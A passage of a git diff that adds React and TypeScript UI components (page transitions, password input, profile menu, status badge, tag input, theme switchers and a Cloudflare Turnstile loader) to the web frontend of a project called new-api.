+          </TabsContent>
+        </Tabs>
+
+        <DialogFooter className='gap-2'>
+          <Button variant='outline' onClick={onCloseToday}>
+            {t('Close Today')}
+          </Button>
+          <Button onClick={() => onOpenChange(false)}>{t('Close')}</Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/components/page-transition.tsx b/new-api/web/default/src/components/page-transition.tsx
new file mode 100644
index 0000000..f4dc1e3
--- /dev/null
+++ b/new-api/web/default/src/components/page-transition.tsx
@@ -0,0 +1,188 @@
+import type { ReactNode } from 'react'
+import { Outlet, useRouterState } from '@tanstack/react-router'
+import { motion, useReducedMotion, type Variants } from 'motion/react'
+import {
+  CARD_ITEM_VARIANTS,
+  CARD_STAGGER_VARIANTS,
+  MOTION_TRANSITION,
+  MOTION_VARIANTS,
+  STAGGER_ITEM_VARIANTS,
+  STAGGER_VARIANTS,
+  TABLE_ROW_VARIANTS,
+  TABLE_STAGGER_VARIANTS,
+} from '@/lib/motion'
+
+interface PageTransitionProps {
+  children: ReactNode
+  className?: string
+}
+
+export function PageTransition(props: PageTransitionProps) {
+  const shouldReduce = useReducedMotion()
+
+  if (shouldReduce) {
+    return <div className={props.className}>{props.children}</div>
+  }
+
+  return (
+    <motion.div
+      initial={MOTION_VARIANTS.pageEnter.initial}
+      animate={MOTION_VARIANTS.pageEnter.animate}
+      transition={MOTION_TRANSITION.default}
+      className={props.className}
+    >
+      {props.children}
+    </motion.div>
+  )
+}
+
+export function AnimatedOutlet() {
+  const shouldReduce = useReducedMotion()
+  const routeKey = useRouterState({
+    select: (s) => s.location.pathname,
+  })
+
+  if (shouldReduce) {
+    return (
+      <div className='flex min-h-0 flex-1 flex-col'>
+        <Outlet />
+      </div>
+    )
+  }
+
+  return (
+    <motion.div
+      key={routeKey}
+      initial={MOTION_VARIANTS.pageEnter.initial}
+      animate={MOTION_VARIANTS.pageEnter.animate}
+      transition={MOTION_TRANSITION.fast}
+      className='flex min-h-0 flex-1 flex-col'
+    >
+      <Outlet />
+    </motion.div>
+  )
+}
+
+interface StaggerContainerProps {
+  children: ReactNode
+  className?: string
+  variants?: Variants
+}
+
+export function StaggerContainer(props: StaggerContainerProps) {
+  const shouldReduce = useReducedMotion()
+
+  if (shouldReduce) {
+    return <div className={props.className}>{props.children}</div>
+  }
+
+  return (
+    <motion.div
+      variants={props.variants ?? STAGGER_VARIANTS}
+      initial='initial'
+      animate='animate'
+      className={props.className}
+    >
+      {props.children}
+    </motion.div>
+  )
+}
+
+interface StaggerItemProps {
+  children: ReactNode
+  className?: string
+  variants?: Variants
+}
+
+export function StaggerItem(props: StaggerItemProps) {
+  return (
+    <motion.div
+      variants={props.variants ?? STAGGER_ITEM_VARIANTS}
+      className={props.className}
+    >
+      {props.children}
+    </motion.div>
+  )
+}
+
+export function TableStaggerContainer(props: StaggerContainerProps) {
+  const shouldReduce = useReducedMotion()
+
+  if (shouldReduce) {
+    return <>{props.children}</>
+  }
+
+  return (
+    <motion.tbody
+      variants={TABLE_STAGGER_VARIANTS}
+      initial='initial'
+      animate='animate'
+      className={props.className}
+    >
+      {props.children}
+    </motion.tbody>
+  )
+}
+
+export function TableStaggerRow(props: StaggerItemProps) {
+  return (
+    <motion.tr variants={TABLE_ROW_VARIANTS} className={props.className}>
+      {props.children}
+    </motion.tr>
+  )
+}
+
+export function CardStaggerContainer(props: StaggerContainerProps) {
+  const shouldReduce = useReducedMotion()
+
+  if (shouldReduce) {
+    return <div className={props.className}>{props.children}</div>
+  }
+
+  return (
+    <motion.div
+      variants={CARD_STAGGER_VARIANTS}
+      initial='initial'
+      animate='animate'
+      className={props.className}
+    >
+      {props.children}
+    </motion.div>
+  )
+}
+
+export function CardStaggerItem(props: StaggerItemProps) {
+  return (
+    <motion.div variants={CARD_ITEM_VARIANTS} className={props.className}>
+      {props.children}
+    </motion.div>
+  )
+}
+
+interface FadeInProps {
+  children: ReactNode
+  className?: string
+  delay?: number
+}
+
+export function FadeIn(props: FadeInProps) {
+  const shouldReduce = useReducedMotion()
+
+  if (shouldReduce) {
+    return <div className={props.className}>{props.children}</div>
+  }
+
+  return (
+    <motion.div
+      initial={MOTION_VARIANTS.fadeIn.initial}
+      animate={MOTION_VARIANTS.fadeIn.animate}
+      transition={{
+        ...MOTION_TRANSITION.default,
+        delay: props.delay,
+      }}
+      className={props.className}
+    >
+      {props.children}
+    </motion.div>
+  )
+}
diff --git a/new-api/web/default/src/components/password-input.tsx b/new-api/web/default/src/components/password-input.tsx
new file mode 100644
index 0000000..d4950e2
--- /dev/null
+++ b/new-api/web/default/src/components/password-input.tsx
@@ -0,0 +1,47 @@
+import * as React from 'react'
+import { Eye, EyeOff } from 'lucide-react'
+import { cn } from '@/lib/utils'
+import { Button } from './ui/button'
+import { Input } from './ui/input'
+
+type PasswordInputProps = Omit<
+  React.InputHTMLAttributes<HTMLInputElement>,
+  'type'
+> & {
+  ref?: React.Ref<HTMLInputElement>
+}
+
+export function PasswordInput({
+  className,
+  disabled,
+  ref,
+  ...props
+}: PasswordInputProps) {
+  const [showPassword, setShowPassword] = React.useState(false)
+
+  return (
+    <div className={cn('relative rounded-md', className)}>
+      <Input
+        type={showPassword ? 'text' : 'password'}
+        ref={ref}
+        disabled={disabled}
+        {...props}
+      />
+      <Button
+        type='button'
+        size='icon'
+        variant='ghost'
+        disabled={disabled}
+        className='text-muted-foreground absolute end-1 top-1/2 h-6 w-6 -translate-y-1/2 rounded-md'
+        onClick={() => setShowPassword((prev) => !prev)}
+        aria-label='Toggle password visibility'
+      >
+        {showPassword ? (
+          <Eye size={18} aria-hidden='true' />
+        ) : (
+          <EyeOff size={18} aria-hidden='true' />
+        )}
+      </Button>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/profile-dropdown.tsx b/new-api/web/default/src/components/profile-dropdown.tsx
new file mode 100644
index 0000000..3a7ff6a
--- /dev/null
+++ b/new-api/web/default/src/components/profile-dropdown.tsx
@@ -0,0 +1,133 @@
+import { useState } from 'react'
+import { Link } from '@tanstack/react-router'
+import { User, Wallet, LogOut, Settings } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { useAuthStore } from '@/stores/auth-store'
+import { ROLE } from '@/lib/roles'
+import useDialogState from '@/hooks/use-dialog'
+import { useUserDisplay } from '@/hooks/use-user-display'
+import { Avatar, AvatarFallback, AvatarImage } from '@/components/ui/avatar'
+import { Button } from '@/components/ui/button'
+import {
+  Sheet,
+  SheetContent,
+  SheetHeader,
+  SheetTitle,
+  SheetTrigger,
+  SheetClose,
+} from '@/components/ui/sheet'
+import { SignOutDialog } from '@/components/sign-out-dialog'
+
+export function ProfileDropdown() {
+  const { t } = useTranslation()
+  const [open, setOpen] = useDialogState()
+  const [sheetOpen, setSheetOpen] = useState(false)
+  const user = useAuthStore((state) => state.auth.user)
+  const { displayName, initials, roleLabel } = useUserDisplay(user)
+  const isSuperAdmin = user?.role === ROLE.SUPER_ADMIN
+
+  return (
+    <>
+      <Sheet open={sheetOpen} onOpenChange={setSheetOpen}>
+        <SheetTrigger asChild>
+          <Button variant='ghost' className='relative h-9 w-9 rounded-full p-0'>
+            <Avatar className='h-9 w-9'>
+              <AvatarImage src='/avatars/01.png' alt={`@${displayName}`} />
+              <AvatarFallback>{initials}</AvatarFallback>
+            </Avatar>
+          </Button>
+        </SheetTrigger>
+        <SheetContent
+          side='right'
+          className='flex w-full flex-col p-0 sm:max-w-sm'
+        >
+          <SheetHeader className='border-b p-4'>
+            <SheetTitle className='text-left'>{t('User Menu')}</SheetTitle>
+          </SheetHeader>
+
+          <div className='flex flex-1 flex-col overflow-y-auto'>
+            {/* User info section */}
+            <div className='border-b p-2.5 pb-6.5'>
+              <div className='flex items-center gap-2.5'>
+                <Avatar className='size-9'>
+                  <AvatarImage src='/avatars/01.png' alt={`@${displayName}`} />
+                  <AvatarFallback className='text-xs'>
+                    {initials}
+                  </AvatarFallback>
+                </Avatar>
+                <div className='flex flex-1 flex-col gap-0.5 overflow-hidden'>
+                  <p className='text-foreground truncate text-sm font-medium'>
+                    {displayName}
+                  </p>
+                  <div className='flex items-center gap-1.5'>
+                    <span className='text-muted-foreground text-xs'>
+                      {roleLabel}
+                    </span>
+                    {user?.group && (
+                      <>
+                        <span className='text-muted-foreground text-xs'>·</span>
+                        <span className='text-muted-foreground text-xs'>
+                          {String(user.group)}
+                        </span>
+                      </>
+                    )}
+                  </div>
+                </div>
+              </div>
+            </div>
+
+            {/* Navigation links */}
+            <SheetClose asChild>
+              <Link
+                to='/profile'
+                className='text-primary/60 hover:text-primary/80 flex items-center gap-2.5 border-b p-2.5 transition-colors'
+              >
+                <User className='size-4' />
+                {t('Profile')}
+              </Link>
+            </SheetClose>
+
+            <SheetClose asChild>
+              <Link
+                to='/wallet'
+                className='text-primary/60 hover:text-primary/80 flex items-center gap-2.5 border-b p-2.5 transition-colors'
+              >
+                <Wallet className='size-4' />
+                {t('Wallet')}
+              </Link>
+            </SheetClose>
+
+            {/* System Settings - only for super admin */}
+            {isSuperAdmin && (
+              <SheetClose asChild>
+                <Link
+                  to='/system-settings/general'
+                  search={{ section: 'system-info' }}
+                  className='text-primary/60 hover:text-primary/80 flex items-center gap-2.5 border-b p-2.5 transition-colors'
+                >
+                  <Settings className='size-4' />
+                  {t('System Settings')}
+                </Link>
+              </SheetClose>
+            )}
+
+            {/* Sign out */}
+            <Button
+              variant='ghost'
+              onClick={() => {
+                setSheetOpen(false)
+                setOpen(true)
+              }}
+              className='text-destructive hover:text-destructive/80 h-auto w-full justify-start gap-2.5 p-2.5 hover:bg-transparent'
+            >
+              <LogOut className='size-4' />
+              {t('Sign out')}
+            </Button>
+          </div>
+        </SheetContent>
+      </Sheet>
+
+      <SignOutDialog open={!!open} onOpenChange={setOpen} />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/components/search.tsx b/new-api/web/default/src/components/search.tsx
new file mode 100644
index 0000000..c32fb20
--- /dev/null
+++ b/new-api/web/default/src/components/search.tsx
@@ -0,0 +1,39 @@
+import { SearchIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { useSearch } from '@/context/search-provider'
+import { Button } from './ui/button'
+
+type SearchProps = {
+  className?: string
+  type?: React.HTMLInputTypeAttribute
+  placeholder?: string
+}
+
+export function Search({ className = '', placeholder }: SearchProps) {
+  const { t } = useTranslation()
+  const { setOpen } = useSearch()
+  const resolvedPlaceholder = placeholder ?? t('Search')
+  return (
+    <Button
+      variant='outline'
+      className={cn(
+        'bg-muted/25 group text-muted-foreground hover:bg-accent relative h-8 w-full flex-1 justify-start rounded-md text-sm font-normal shadow-none sm:w-40 sm:pe-12 md:flex-none lg:w-52 xl:w-64',
+        className
+      )}
+      onClick={() => setOpen(true)}
+      aria-label={resolvedPlaceholder}
+    >
+      <SearchIcon
+        aria-hidden='true'
+        className='absolute start-1.5 top-1/2 -translate-y-1/2'
+        size={16}
+      />
+      <span className='ms-4'>{resolvedPlaceholder}</span>
+      <kbd className='bg-muted group-hover:bg-accent pointer-events-none absolute end-[0.3rem] top-[0.3rem] hidden h-5 items-center gap-1 rounded border px-1.5 font-mono text-[10px] font-medium opacity-100 select-none sm:flex'>
+        <span className='text-xs'>⌘</span>
+        {t('K')}
+      </kbd>
+    </Button>
+  )
+}
diff --git a/new-api/web/default/src/components/select-dropdown.tsx b/new-api/web/default/src/components/select-dropdown.tsx
new file mode 100644
index 0000000..c73a007
--- /dev/null
+++ b/new-api/web/default/src/components/select-dropdown.tsx
@@ -0,0 +1,65 @@
+import { Loader } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { FormControl } from '@/components/ui/form'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+
+type SelectDropdownProps = {
+  onValueChange?: (value: string) => void
+  defaultValue: string | undefined
+  placeholder?: string
+  isPending?: boolean
+  items: { label: string; value: string }[] | undefined
+  disabled?: boolean
+  className?: string
+  isControlled?: boolean
+}
+
+export function SelectDropdown({
+  defaultValue,
+  onValueChange,
+  isPending,
+  items,
+  placeholder,
+  disabled,
+  className = '',
+  isControlled = false,
+}: SelectDropdownProps) {
+  const { t } = useTranslation()
+  const placeholderText = placeholder ?? t('Select')
+  const defaultState = isControlled
+    ? { value: defaultValue, onValueChange }
+    : { defaultValue, onValueChange }
+  return (
+    <Select {...defaultState}>
+      <FormControl>
+        <SelectTrigger disabled={disabled} className={cn(className)}>
+          <SelectValue placeholder={placeholderText} />
+        </SelectTrigger>
+      </FormControl>
+      <SelectContent>
+        {isPending ? (
+          <SelectItem disabled value='loading' className='h-14'>
+            <div className='flex items-center justify-center gap-2'>
+              <Loader className='h-5 w-5 animate-spin' />
+              {'  '}
+              {t('Loading...')}
+            </div>
+          </SelectItem>
+        ) : (
+          items?.map(({ label, value }) => (
+            <SelectItem key={value} value={value}>
+              {label}
+            </SelectItem>
+          ))
+        )}
+      </SelectContent>
+    </Select>
+  )
+}
diff --git a/new-api/web/default/src/components/sign-out-dialog.tsx b/new-api/web/default/src/components/sign-out-dialog.tsx
new file mode 100644
index 0000000..c863da8
--- /dev/null
+++ b/new-api/web/default/src/components/sign-out-dialog.tsx
@@ -0,0 +1,50 @@
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { useAuthStore } from '@/stores/auth-store'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { logout } from '@/features/auth/api'
+
+interface SignOutDialogProps {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+export function SignOutDialog({ open, onOpenChange }: SignOutDialogProps) {
+  const { t } = useTranslation()
+  const { auth } = useAuthStore()
+
+  const handleSignOut = async () => {
+    try {
+      await logout()
+    } catch {
+      /* empty */
+    }
+    auth.reset()
+    try {
+      if (typeof window !== 'undefined') {
+        window.localStorage.removeItem('uid')
+      }
+    } catch {
+      /* empty */
+    }
+    toast.success(t('Signed out'))
+    // Refresh the page to clear all state and update UI
+    if (typeof window !== 'undefined') {
+      window.location.reload()
+    }
+  }
+
+  return (
+    <ConfirmDialog
+      open={open}
+      onOpenChange={onOpenChange}
+      title={t('Sign out')}
+      desc={t(
+        'Are you sure you want to sign out? You will need to sign in again to access your account.'
+      )}
+      confirmText={t('Sign out')}
+      handleConfirm={handleSignOut}
+      className='sm:max-w-sm'
+    />
+  )
+}
diff --git a/new-api/web/default/src/components/skip-to-main.tsx b/new-api/web/default/src/components/skip-to-main.tsx
new file mode 100644
index 0000000..84a7662
--- /dev/null
+++ b/new-api/web/default/src/components/skip-to-main.tsx
@@ -0,0 +1,13 @@
+import { useTranslation } from 'react-i18next'
+
+export function SkipToMain() {
+  const { t } = useTranslation()
+  return (
+    <a
+      className={`bg-primary text-primary-foreground hover:bg-primary/90 focus-visible:ring-ring fixed start-44 z-999 -translate-y-52 px-4 py-2 text-sm font-medium whitespace-nowrap opacity-95 shadow-sm transition focus:translate-y-3 focus:transform focus-visible:ring-1`}
+      href='#content'
+    >
+      {t('Skip to Main')}
+    </a>
+  )
+}
diff --git a/new-api/web/default/src/components/status-badge.tsx b/new-api/web/default/src/components/status-badge.tsx
new file mode 100644
index 0000000..d638030
--- /dev/null
+++ b/new-api/web/default/src/components/status-badge.tsx
@@ -0,0 +1,174 @@
+/* eslint-disable react-refresh/only-export-components */
+import * as React from 'react'
+import { type LucideIcon } from 'lucide-react'
+import { stringToColor } from '@/lib/colors'
+import { cn } from '@/lib/utils'
+import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
+
+export const dotColorMap = {
+  success: 'bg-emerald-500',
+  warning: 'bg-amber-500',
+  danger: 'bg-rose-500',
+  info: 'bg-sky-500',
+  neutral: 'bg-slate-400',
+  purple: 'bg-purple-500',
+  amber: 'bg-amber-500',
+  blue: 'bg-blue-500',
+  cyan: 'bg-cyan-500',
+  green: 'bg-green-500',
+  grey: 'bg-gray-500',
+  indigo: 'bg-indigo-500',
+  'light-blue': 'bg-sky-500',
+  'light-green': 'bg-green-500',
+  lime: 'bg-lime-500',
+  orange: 'bg-orange-500',
+  pink: 'bg-pink-500',
+  red: 'bg-red-500',
+  teal: 'bg-teal-500',
+  violet: 'bg-violet-500',
+  yellow: 'bg-yellow-500',
+} as const
+
+export const textColorMap = {
+  success: 'text-emerald-700 dark:text-emerald-400',
+  warning: 'text-amber-700 dark:text-amber-400',
+  danger: 'text-rose-700 dark:text-rose-400',
+  info: 'text-sky-700 dark:text-sky-400',
+  neutral: 'text-muted-foreground',
+  purple: 'text-purple-700 dark:text-purple-400',
+  amber: 'text-amber-700 dark:text-amber-400',
+  blue: 'text-blue-700 dark:text-blue-400',
+  cyan: 'text-cyan-700 dark:text-cyan-400',
+  green: 'text-green-700 dark:text-green-400',
+  grey: 'text-muted-foreground',
+  indigo: 'text-indigo-700 dark:text-indigo-400',
+  'light-blue': 'text-sky-700 dark:text-sky-400',
+  'light-green': 'text-green-600 dark:text-green-400',
+  lime: 'text-lime-700 dark:text-lime-400',
+  orange: 'text-orange-700 dark:text-orange-400',
+  pink: 'text-pink-700 dark:text-pink-400',
+  red: 'text-red-700 dark:text-red-400',
+  teal: 'text-teal-700 dark:text-teal-400',
+  violet: 'text-violet-700 dark:text-violet-400',
+  yellow: 'text-yellow-700 dark:text-yellow-400',
+} as const
+
+export type StatusVariant = keyof typeof dotColorMap
+
+const sizeMap = {
+  sm: 'text-xs gap-1.5',
+  md: 'text-xs gap-1.5',
+  lg: 'text-sm gap-2',
+} as const
+
+export interface StatusBadgeProps extends Omit<
+  React.HTMLAttributes<HTMLSpanElement>,
+  'children'
+> {
+  label?: string
+  children?: React.ReactNode
+  icon?: LucideIcon
+  pulse?: boolean
+  /** When false, hides the leading dot */
+  showDot?: boolean
+  variant?: StatusVariant | null
+  size?: 'sm' | 'md' | 'lg' | null
+  /** @deprecated No longer applicable in flat design */
+  rounded?: 'full' | 'md' | 'sm' | 'lg'
+  copyable?: boolean
+  copyText?: string
+  autoColor?: string
+}
+
+export function StatusBadge({
+  label,
+  children,
+  icon: Icon,
+  variant,
+  size = 'sm',
+  pulse = false,
+  showDot = true,
+  rounded: _rounded,
+  copyable = true,
+  copyText,
+  autoColor,
+  className,
+  onClick,
+  ...props
+}: StatusBadgeProps) {
+  const { copyToClipboard } = useCopyToClipboard()
+
+  const computedVariant: StatusVariant = autoColor
+    ? (stringToColor(autoColor) as StatusVariant)
+    : (variant ?? 'neutral')
+
+  const handleClick = (e: React.MouseEvent<HTMLSpanElement>) => {
+    if (copyable) {
+      e.stopPropagation()
+      copyToClipboard(copyText || label || '')
+    }
+    onClick?.(e)
+  }
+
+  const content = children ?? (label ? <span className='truncate'>{label}</span> : null)
+
+  return (
+    <span
+      className={cn(
+        'inline-flex w-fit shrink-0 items-center font-medium whitespace-nowrap',
+        sizeMap[size ?? 'sm'],
+        textColorMap[computedVariant],
+        pulse && 'animate-pulse',
+        copyable &&
+          'cursor-pointer transition-opacity hover:opacity-70 active:scale-95',
+        className
+      )}
+      onClick={handleClick}
+      title={copyable ? `Click to copy: ${copyText || label || ''}` : undefined}
+      {...props}
+    >
+      {showDot && (
+        <span
+          className={cn(
+            'inline-block size-1.5 shrink-0 rounded-full',
+            dotColorMap[computedVariant]
+          )}
+          aria-hidden='true'
+        />
+      )}
+      {Icon && <Icon className='size-3 shrink-0' />}
+      {content}
+    </span>
+  )
+}
+
+export const statusPresets = {
+  active: {
+    variant: 'success' as const,
+    label: 'Active',
+    showDot: true,
+  },
+  inactive: {
+    variant: 'neutral' as const,
+    label: 'Inactive',
+    showDot: true,
+  },
+  invited: {
+    variant: 'info' as const,
+    label: 'Invited',
+    showDot: true,
+  },
+  suspended: {
+    variant: 'danger' as const,
+    label: 'Suspended',
+    showDot: true,
+  },
+  pending: {
+    variant: 'warning' as const,
+    label: 'Pending',
+    showDot: true,
+    pulse: true,
+  },
+} as const
+
+export type StatusPreset = keyof typeof statusPresets
diff --git a/new-api/web/default/src/components/tag-input.tsx b/new-api/web/default/src/components/tag-input.tsx
new file mode 100644
index 0000000..c19d05b
--- /dev/null
+++ b/new-api/web/default/src/components/tag-input.tsx
@@ -0,0 +1,96 @@
+import { useState, useRef, type KeyboardEvent } from 'react'
+import { X } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+
+interface TagInputProps {
+  value: string[]
+  onChange: (tags: string[]) => void
+  placeholder?: string
+  className?: string
+  disabled?: boolean
+}
+
+export function TagInput({
+  value = [],
+  onChange,
+  placeholder,
+  className,
+  disabled = false,
+}: TagInputProps) {
+  const { t } = useTranslation()
+  const placeholderText = placeholder ?? t('Add tags...')
+  const [inputValue, setInputValue] = useState('')
+  const inputRef = useRef<HTMLInputElement>(null)
+
+  const addTag = (tag: string) => {
+    const trimmed = tag.trim()
+    if (trimmed && !value.includes(trimmed)) {
+      onChange([...value, trimmed])
+      setInputValue('')
+    }
+  }
+
+  const removeTag = (tagToRemove: string) => {
+    onChange(value.filter((tag) => tag !== tagToRemove))
+  }
+
+  const handleKeyDown = (e: KeyboardEvent<HTMLInputElement>) => {
+    if (e.key === 'Enter' || e.key === ',') {
+      e.preventDefault()
+      addTag(inputValue)
+    } else if (e.key === 'Backspace' && !inputValue && value.length > 0) {
+      removeTag(value[value.length - 1])
+    }
+  }
+
+  const handleBlur = () => {
+    if (inputValue.trim()) {
+      addTag(inputValue)
+    }
+  }
+
+  return (
+    <div
+      className={cn(
+        'border-input focus-within:border-ring focus-within:ring-ring/50 flex min-h-9 w-full flex-wrap items-center gap-2 rounded-md border bg-transparent px-3 py-2 text-base shadow-xs transition-[color,box-shadow] outline-none focus-within:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50 md:text-sm',
+        className
+      )}
+      onClick={() => inputRef.current?.focus()}
+    >
+      {value.map((tag) => (
+        <Badge key={tag} variant='secondary' className='gap-1 pr-1'>
+          {tag}
+          {!disabled && (
+            <Button
+              type='button'
+              variant='ghost'
+              size='icon-sm'
+              aria-label='Remove tag'
+              onClick={(e) => {
+                e.stopPropagation()
+                removeTag(tag)
+              }}
+              className='hover:bg-secondary-foreground/20 size-auto rounded-sm p-0'
+            >
+              <X className='h-3 w-3' aria-hidden='true' />
+            </Button>
+          )}
+        </Badge>
+      ))}
+      <input
+        ref={inputRef}
+        type='text'
+        value={inputValue}
+        onChange={(e) => setInputValue(e.target.value)}
+        onKeyDown={handleKeyDown}
+        onBlur={handleBlur}
+        placeholder={value.length === 0 ? placeholderText : ''}
+        disabled={disabled}
+        className='placeholder:text-muted-foreground min-w-[120px] flex-1 border-0 bg-transparent shadow-none outline-none focus-visible:ring-0'
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/theme-quick-switcher.tsx b/new-api/web/default/src/components/theme-quick-switcher.tsx
new file mode 100644
index 0000000..95801d4
--- /dev/null
+++ b/new-api/web/default/src/components/theme-quick-switcher.tsx
@@ -0,0 +1,111 @@
+import { Monitor, Sun, MoonStar } from 'lucide-react'
+import { motion } from 'motion/react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { useTheme } from '@/context/theme-provider'
+import { Button } from '@/components/ui/button'
+
+export function ThemeQuickSwitcher() {
+  const { t } = useTranslation()
+  const { theme, setTheme } = useTheme()
+
+  return (
+    <div className='px-2 pt-1.5 pb-1'>
+      <div className='flex w-full items-center justify-between gap-3'>
+        <span
+          id='theme-switcher-label'
+          className='text-muted-foreground text-sm select-none'
+        >
+          {t('Theme')}
+        </span>
+        <div
+          role='radiogroup'
+          aria-labelledby='theme-switcher-label'
+          className='border-muted/50 bg-muted/40 inline-flex w-auto items-center gap-1.5 rounded-full border px-1.5 py-1'
+        >
+          <Button
+            variant='ghost'
+            size='icon'
+            role='radio'
+            aria-label={t('System')}
+            aria-checked={theme === 'system'}
+            onClick={() => setTheme('system')}
+            className={cn(
+              'relative size-7 rounded-full',
+              theme === 'system' && 'text-accent-foreground'
+            )}
+          >
+            {theme === 'system' && (
+              <motion.span
+                layoutId='theme-switcher-active'
+                className='bg-accent ring-border absolute inset-0 rounded-full ring-1'
+                transition={{
+                  type: 'spring',
+                  stiffness: 500,
+                  damping: 30,
+                  mass: 0.2,
+                }}
+                animate={{ rotate: 360 }}
+              />
+            )}
+            <Monitor className='relative z-10 size-[0.95rem]' />
+          </Button>
+          <Button
+            variant='ghost'
+            size='icon'
+            role='radio'
+            aria-label={t('Light')}
+            aria-checked={theme === 'light'}
+            onClick={() => setTheme('light')}
+            className={cn(
+              'relative size-7 rounded-full',
+              theme === 'light' && 'text-accent-foreground'
+            )}
+          >
+            {theme === 'light' && (
+              <motion.span
+                layoutId='theme-switcher-active'
+                className='bg-accent ring-border absolute inset-0 rounded-full ring-1'
+                transition={{
+                  type: 'spring',
+                  stiffness: 500,
+                  damping: 30,
+                  mass: 0.2,
+                }}
+                animate={{ rotate: 360 }}
+              />
+            )}
+            <Sun className='relative z-10 size-[0.95rem]' />
+          </Button>
+          <Button
+            variant='ghost'
+            size='icon'
+            role='radio'
+            aria-label={t('Dark')}
+            aria-checked={theme === 'dark'}
+            onClick={() => setTheme('dark')}
+            className={cn(
+              'relative size-7 rounded-full',
+              theme === 'dark' && 'text-accent-foreground'
+            )}
+          >
+            {theme === 'dark' && (
+              <motion.span
+                layoutId='theme-switcher-active'
+                className='bg-accent ring-border absolute inset-0 rounded-full ring-1'
+                transition={{
+                  type: 'spring',
+                  stiffness: 500,
+                  damping: 30,
+                  mass: 0.2,
+                }}
+                animate={{ rotate: 360 }}
+              />
+            )}
+            <MoonStar className='relative z-10 size-[0.95rem]' />
+          </Button>
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/theme-switch.tsx b/new-api/web/default/src/components/theme-switch.tsx
new file mode 100644
index 0000000..f31c259
--- /dev/null
+++ b/new-api/web/default/src/components/theme-switch.tsx
@@ -0,0 +1,60 @@
+import { useEffect } from 'react'
+import { Check, Moon, Sun } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { useTheme } from '@/context/theme-provider'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+
+export function ThemeSwitch() {
+  const { t } = useTranslation()
+  const { theme, setTheme } = useTheme()
+
+  /* Update theme-color meta tag
+   * when theme is updated */
+  useEffect(() => {
+    const themeColor = theme === 'dark' ? '#020817' : '#fff'
+    const metaThemeColor = document.querySelector("meta[name='theme-color']")
+    if (metaThemeColor) metaThemeColor.setAttribute('content', themeColor)
+  }, [theme])
+
+  return (
+    <DropdownMenu modal={false}>
+      <DropdownMenuTrigger asChild>
+        <Button variant='ghost' size='icon' className='h-9 w-9 rounded-full'>
+          <Sun className='size-[1.2rem] scale-100 rotate-0 transition-all dark:scale-0 dark:-rotate-90' />
+          <Moon className='absolute size-[1.2rem] scale-0 rotate-90 transition-all dark:scale-100 dark:rotate-0' />
+          <span className='sr-only'>{t('Toggle theme')}</span>
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align='end'>
+        <DropdownMenuItem onClick={() => setTheme('light')}>
+          {t('Light')}{' '}
+          <Check
+            size={14}
+            className={cn('ms-auto', theme !== 'light' && 'hidden')}
+          />
+        </DropdownMenuItem>
+        <DropdownMenuItem onClick={() => setTheme('dark')}>
+          {t('Dark')}
+          <Check
+            size={14}
+            className={cn('ms-auto', theme !== 'dark' && 'hidden')}
+          />
+        </DropdownMenuItem>
+        <DropdownMenuItem onClick={() => setTheme('system')}>
+          {t('System')}
+          <Check
+            size={14}
+            className={cn('ms-auto', theme !== 'system' && 'hidden')}
+          />
+        </DropdownMenuItem>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
diff --git a/new-api/web/default/src/components/turnstile.tsx b/new-api/web/default/src/components/turnstile.tsx
new file mode 100644
index 0000000..31c9b82
--- /dev/null
+++ b/new-api/web/default/src/components/turnstile.tsx
@@ -0,0 +1,58 @@
+import { useEffect, useRef } from 'react'
+
+declare global {
+  interface Window {
+    turnstile?: {
+      render: (element: HTMLElement, options: Record<string, unknown>) => void
+    }
+  }
+}
+
+interface TurnstileProps {
+  siteKey: string
+  onVerify: (token: string) => void
+  onExpire?: () => void
+  className?: string
+}
+
+export function Turnstile({
+  siteKey,
+  onVerify,
+  onExpire,
+  className,
+}: TurnstileProps) {
+  const ref = useRef<HTMLDivElement | null>(null)
+
+  useEffect(() => {
+    const render = () => {
+      if (!ref.current || !window.turnstile) return
+      try {
+        window.turnstile.render(ref.current, {
+          sitekey: siteKey,
+          callback: (token: string) => onVerify(token),
+          'error-callback': () => onExpire?.(),
+          'expired-callback': () => onExpire?.(),
+        })
+      } catch {
+        /* empty */
+      }
+    }
+
+    if (window.turnstile) {
+      render()
+      return
+    }
+    const scriptId = 'cf-turnstile'
+    if (document.getElementById(scriptId)) return
+    const s = document.createElement('script')
+    s.id = scriptId
+    s.src =
+      'https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit'
+    s.async = true
+    s.defer = true
+    s.onload = () => render()
+    document.head.appendChild(s)
+  }, [siteKey, onVerify, onExpire])
+
+  return <div ref={ref} className={className} />
+}
diff --git a/new-api/web/default/src/components/ui/accordion.tsx b/new-api/web/default/src/components/ui/accordion.tsx
new file mode 100644
index 0000000..0ac76ce
--- /dev/null
+++ b/new-api/web/default/src/components/ui/accordion.tsx
@@ -0,0 +1,65 @@
+'use client'
+
+import * as React from 'react'
